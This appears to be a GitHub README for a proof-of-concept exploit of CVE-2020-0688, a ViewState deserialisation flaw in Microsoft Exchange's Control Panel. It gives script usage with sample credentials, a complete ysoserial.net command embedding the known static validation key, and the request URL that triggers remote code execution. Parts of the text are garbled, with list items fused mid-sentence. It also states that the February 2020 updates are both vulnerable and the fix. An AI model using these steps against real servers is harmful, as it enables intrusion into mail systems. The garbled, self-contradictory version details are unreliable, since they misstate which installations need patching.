
cve-2020-0688
A proof-of-concept helper for CVE-2020-0688, a ViewState deserialisation vulnerability in Microsoft Exchange Server's Control Panel (ECP).
Exchange's ECP machine key is generated from a static, well-known validation key during installation. Because every Exchange installation ships with the same default <machineKey> in web.config, an authenticated attacker can craft a malicious __VIEWSTATE parameter that the server deserialises, resulting in remote code execution as the application pool account. Authentication is required — any low-privileged mailbox account is sufficient; no elevated privileges are needed.
Microsoft Exchange Server 2010, 2013, 2016 and 2019 up to and including the February 2020 security updates (Exchange 2016 CU14/15, Exchange 2019 CU3/CU4, and their service-pack equivalents). Fixed in the February 2020 patches.
__VIEWSTATEGENERATOR value from a page's HTML source.ASP.NET_SessionId cookie value, used as the --viewstateuserkey.exploit.py performs the authentication and parameter-gathering half of the attack:
auth.owa.__VIEWSTATEGENERATOR value from the response page and extracts the ASP.NET_SessionId cookie value from the response headers to use as the ViewState user key.ysoserial.exe command line pre-filled with the captured --validationkey and --viewstateuserkey values, so you can generate the malicious ViewState payload.__VIEWSTATE and __VIEWSTATEGENERATOR parameters to trigger deserialisation.Note: the script is a mock-up of the exploit flow and has not been fully tested against a live demo system; treat it as a starting point rather than a finished weaponised exploit.
python3 exploit.py -s https://exchange.example.com/ecp/ -u [email protected] -p 'Password123!'
| Argument | Description |
|---|---|
-s, --server | ECP server URL |
-u, --user | Email address of the mailbox user |
-p, --password | The user's password |
Then generate the payload with ysoserial.net using the printed command, e.g.:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup <collab-domain>" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="<ASP.NET_SessionId>" --isdebug –islegacy
Finally trigger the deserialisation with a GET request:
https://<exchange-server>/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
<machineKey> in the ECP web.config with unique per-installation keys.This tool is provided for authorised security testing and responsible disclosure only. Do not use it against systems you do not have explicit permission to test.
Robbie Wiggins — What-Security · GitHub